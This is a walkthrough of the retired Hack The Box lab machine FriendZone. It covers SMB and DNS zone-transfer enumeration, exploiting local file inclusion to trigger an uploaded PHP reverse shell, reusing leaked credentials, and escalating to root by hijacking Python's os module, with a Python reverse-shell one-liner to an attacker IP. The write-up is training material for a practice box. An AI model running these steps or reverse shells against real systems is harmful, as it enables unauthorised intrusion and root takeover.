This post documents the complete walkthrough of FriendZone, a retired vulnerable VM created by askar and hosted at Hack The Box

 

Description
FriendZone is a active Linux (OpenBSD) box that requires a good amount of enumeration and teaches you more about SMB shares, DNS zone-transfer, Cron jobs, and python library hijacking to obtain root privilege.

 


❯ Information Gathering

Starting with a full nmap scan

Nmap cheat sheet

❯ nmap -sV -sC -oA friendzone -T4 -p- 10.10.10.123
Nmap scan report for 10.10.10.123
Host is up (0.13s latency).
Not shown: 65080 closed ports, 448 filtered ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)g
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux;
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user

We find that port 80/tcp is open and SMB port 445 open. We can enumerate the SMB shares on port 445 using SMBMap

❯ smbmap -H 10.10.10.123  -p 445       
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.123...
[+] IP: 10.10.10.123:445    Name: 10.10.10.123
    Disk                                                 Permissions
    ----                                                 -----------
    print$                                                NO ACCESS
    Files                                                 NO ACCESS
    general                                               READ ONLY
    Development                                          READ, WRITE
    IPC$                                                  NO ACCESS

It looks like we have read/write access to the Development share, and read-only access to general. To find more detailed information we can use the nmap script smb-enum-shares.nse on port 445.

❯ nmap --script=smb-enum-shares.nse -p445 -oA smb_p445 10.10.10.123

Nmap scan report for 10.10.10.123
Host is up (0.096s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.10.123\Development: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 3
|     Max Users: <unlimited>
|     Path: C:\etc\Development
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\Files: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files /etc/Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\hole
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.10.123\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (FriendZone server (Samba, Ubuntu))
|     Users: 3
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\general: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 3
|     Max Users: <unlimited>
|     Path: C:\etc\general
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

From the output we find that files we upload to the Development share will be stored in the path C:\etc\Development.

We can connect and browse the contents of the SMB shares using SMBClient

❯ smbclient //10.10.10.123/general -u root
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 16 15:10:51 2019
  ..                                  D        0  Wed Jan 23 16:51:02 2019
  creds.txt                           N       57  Tue Oct  9 19:52:42 2018

        9221460 blocks of size 1024. 6337392 blocks available
smb: \> get creds.txt 
getting file \creds.txt of size 57 as creds.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> ^C

In the general SMB share we find the file creds.txt

❯ cat creds.txt    
creds for the admin THING:

admin:[email protected]#

It contains admin login information but its not clear where to use it.

 


❯ DNS Zone Transfer

Now we need to find the login page to supply those creds. From the Nmap scan results we know that there’s a DNS server running on the box. But there are two different domains friendzone.red and friendzoneportal.red.

friendzone.red was found in the nmap scan results

...
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
...

And by navigating to http://10.10.10.123/ in the browser

friendzoneportal_red.png

We find the domain friendzoneportal.red.

Using dig, we perform DNS zone transfer on both domains

friendzone.red

❯ dig axfr friendzone.red @10.10.10.123
                                              
; <<>> DiG 9.11.5-P4-5-Debian <<>> axfr friendzone.red @10.10.10.123
;; global options: +cmd
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.		604800	IN	AAAA	::1
friendzone.red.		604800	IN	NS	localhost.
friendzone.red.		604800	IN	A	127.0.0.1
administrator1.friendzone.red. 604800 IN A	127.0.0.1
hr.friendzone.red.	604800	IN	A	127.0.0.1
uploads.friendzone.red.	604800	IN	A	127.0.0.1
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 96 msec
;; SERVER: 10.10.10.123#53(10.10.10.123)
;; WHEN: Mon Jun 24 20:03:24 EDT 2019
;; XFR size: 8 records (messages 1, bytes 289)

friendzoneportal.red

❯ dig axfr friendzoneportal.red @10.10.10.123 

; <<>> DiG 9.11.5-P4-5-Debian <<>> axfr friendzoneportal.red @10.10.10.123
;; global options: +cmd
friendzoneportal.red.	604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red.	604800	IN	AAAA	::1
friendzoneportal.red.	604800	IN	NS	localhost.
friendzoneportal.red.	604800	IN	A	127.0.0.1
admin.friendzoneportal.red. 604800 IN	A	127.0.0.1
files.friendzoneportal.red. 604800 IN	A	127.0.0.1
imports.friendzoneportal.red. 604800 IN	A	127.0.0.1
vpn.friendzoneportal.red. 604800 IN	A	127.0.0.1
friendzoneportal.red.	604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 96 msec
;; SERVER: 10.10.10.123#53(10.10.10.123)
;; WHEN: Mon Jun 24 20:07:06 EDT 2019
;; XFR size: 9 records (messages 1, bytes 309)

We find two admin pages one on each domain, admin.friendzoneportal.red and administrator1.friendzone.red. we add these domains to /etc/hosts and access them one by one and supply the creds obtained from creds.txt

❯ cat /etc/hosts
10.10.10.123    friendzoneportal.red
10.10.10.123    friendzone.red
10.10.10.123    administrator1.friendzone.red
10.10.10.123    admin.friendzoneportal.red

To access those domains, we need to use HTTPS (port 443/SSL is open). https://admin.friendzoneportal.red ended up being a red herring

admin_portal_login.png

admin_portal_.png

But https://administrator1.friendzone.red was more promising

administrator1_friedzone_red.png

logged_in_administrator1_friedzone_red.png

https://administrator1.friendzone.red/dashboard.php

admin1_dashboard.png

The page is titled Smart photo script for friendzone corp, and there is an error message

image_name param is missed ! please enter it to show the image default is image_id=a.jpg&pagename=timestamp

We can add the missing parameter and visit the page https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp it is a LFI (Local File Inclusion) vulnerability, files can be accessed by navigating to the folder where it has been uploaded.

timestamp.png

Looks like the script loaded the image a.jpg and a page pagename=timestamp

 


❯ Exploitation

So far we found out that we have read/write permission to the Development share on the box and that we can load web pages from the box using the URL scheme https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=<FILE>

 


❯ Getting a Reverse Shell

We can connect to the Development share and upload a PHP reverse shell, we’ll use PHP-Reverse-Shell from GitHub - pentestmonkey/php-reverse-shell make sure to change the $IP field to your IP address. we will use port 1234

shell.php
$ip = '10.10.14.115';  // CHANGE THIS
$port = 1234;

Save the file as shell.php then upload it to the Development share using curl

❯ curl --upload-file shell.php -u 'root' smb://10.10.10.123/Development/
Enter host password for user 'root':
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    93    0     0  100    93      0    123 --:--:-- --:--:-- --:--:--   123

Leave the root password field empty. We can verify that our shell has been uploaded successfully using SMBClient

❯ smbclient //10.10.10.123/Development/ -u root                         
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jun 24 22:11:15 2019
  ..                                  D        0  Wed Jan 23 16:51:02 2019
  shell.php                           A       93  Mon Jun 24 22:11:39 2019

		9221460 blocks of size 1024. 6304268 blocks available
smb: \>  

From the nmap scan we know that the file path will be c:/etc/Development/shell.php. In a terminal window start listening on port 1234

❯ nc -lnvvp 1234
listening on [any] 1234 ...

In the browser navigate to https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell note that there is no need to append the extension .php in URL. In the terminal you should see

❯ nc -lnvvp 1234
listening on [any] 1234 ...
connect to [10.10.13.223] from (UNKNOWN) [10.10.10.123] 59988
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 06:13:25 up  5:15,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
cp: cannot stat '/root/root.txt': Permission denied
[email protected]:/$

Use the command python -c 'import pty; pty.spawn("/bin/bash")' to spawn/upgrade the shell.

 


❯ Own User

While enumerating the file system we find an SQL configuration file mysql_data.conf in /var/www

[email protected]:/$ cd /var/www
cd /var/www
[email protected]:/var/www$ ls
ls
admin	    friendzoneportal	   html		    uploads
friendzone  friendzoneportaladmin  mysql_data.conf
[email protected]:/var/www$ cat mysql_data.conf
cat mysql_data.conf
for development process this is the mysql creds for user friend

db_user=friend

db_pass=<PASSWORD>

db_name=FZ

Using these credentials we are able to ssh to the box as the user friend

❯ ssh -p 22 [email protected]                      
[email protected]'s password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

You have mail.
Last login: Thu Jan 24 01:20:15 2019 from 10.10.14.3
[email protected]:~$ wc -c user.txt
33 user.txt

 


❯ Privilege Escalation: Own Root

We continue enumerating the system, we can view the processes running on the system without root permission using the script pspy GitHub - DominicBreuker/pspy. We can download the precompiled binary and copy it to the box using scp

•➜ wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64
•➜ scp -P 22 ./pspy64 [email protected]:/home/friend/
[email protected]'s password: 
pspy64                                           100% 4364KB   1.5MB/s   00:02    

Give the script the required permission to execute chmod a+x pspy64 and executing it ./pspy64 to start monitoring the processes

[email protected]:~$ chmod a+x ./pspy64
[email protected]:~$ ./pspy64

active_ps.png

After couple of minutes of monitoring the processes we notice a Python script running using Cron with root permissions

crone_job.png

We navigate to the script and view its contents

FriendZone:~$ cd /opt/server_admin
[email protected]:/opt/server_admin$ cat reporter.py
#!/usr/bin/python

import os

to_address = "[email protected]"
from_address = "[email protected]"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to [email protected] -from [email protected] -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

The script appears to be an incomplete Python script that imports the OS module and doesn’t do anything other than a print statement we can’t modify the script because we have read only permission. From the first line we find that the script is using python 2.7

[email protected]:~$ /usr/bin/python --version
Python 2.7.15rc1

 


❯ Python library hijacking:

Other than import os , every other statement is commented out in the script. we can hijack the OS module in python 2.7 to execute arbitrary code with root privilege. First we need to find the directory where os.py of python2.7 version is installed. Privilege Escalation via Python Library Hijacking | rastating.github.io

we find os.py in /usr/lib/python2.7/. We can check the permissions using stat

[email protected]:~$ stat /usr/lib/python2.7
  File: /usr/lib/python2.7
  Size: 16384     	Blocks: 32         IO Block: 4096   directory
Device: 801h/2049d	Inode: 264608      Links: 27
Access: (0777/drwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-06-25 14:44:13.678363910 +0300
Modify: 2019-01-15 22:29:04.565090271 +0200
Change: 2019-01-15 22:29:04.565090271 +0200
 Birth: -

The permission of the os module

[email protected]:~$ stat /usr/lib/python2.7/os.py
  File: /usr/lib/python2.7/os.py
  Size: 25910     	Blocks: 56         IO Block: 4096   regular file
Device: 801h/2049d	Inode: 282643      Links: 1
Access: (0777/-rwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-01-15 22:19:55.941648405 +0200
Modify: 2019-01-15 22:19:23.557341536 +0200
Change: 2019-01-15 22:19:23.557341536 +0200

It looks like we have read and write permission to the module. We can execute commands inside os.py using the format system("<commnad>"). We concatenate a line at the end of os.py

[email protected]:~$ cat >> /usr/lib/python2.7/os.py
system("cp /root/root.txt /tmp/root1.txt")

Now we have to wait for the Cron job to execute reporter.py file and then the root flag will be copied to /tmp/root1.txt

[email protected]:~$ wc -c /tmp/root1.txt 
33 /tmp/root1.txt

If you wanted a full root shell you can use a python reverse shell by adding the line

import sys,socket,os,pty;s=socket.socket() s.connect("10.10.15.99",12345) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/bash")

Make sure to change the IP address and wait for the Cron job to execute while listening on port 12345 in another terminal window.

 


HTB profile: hackthebox.eu/profile/43759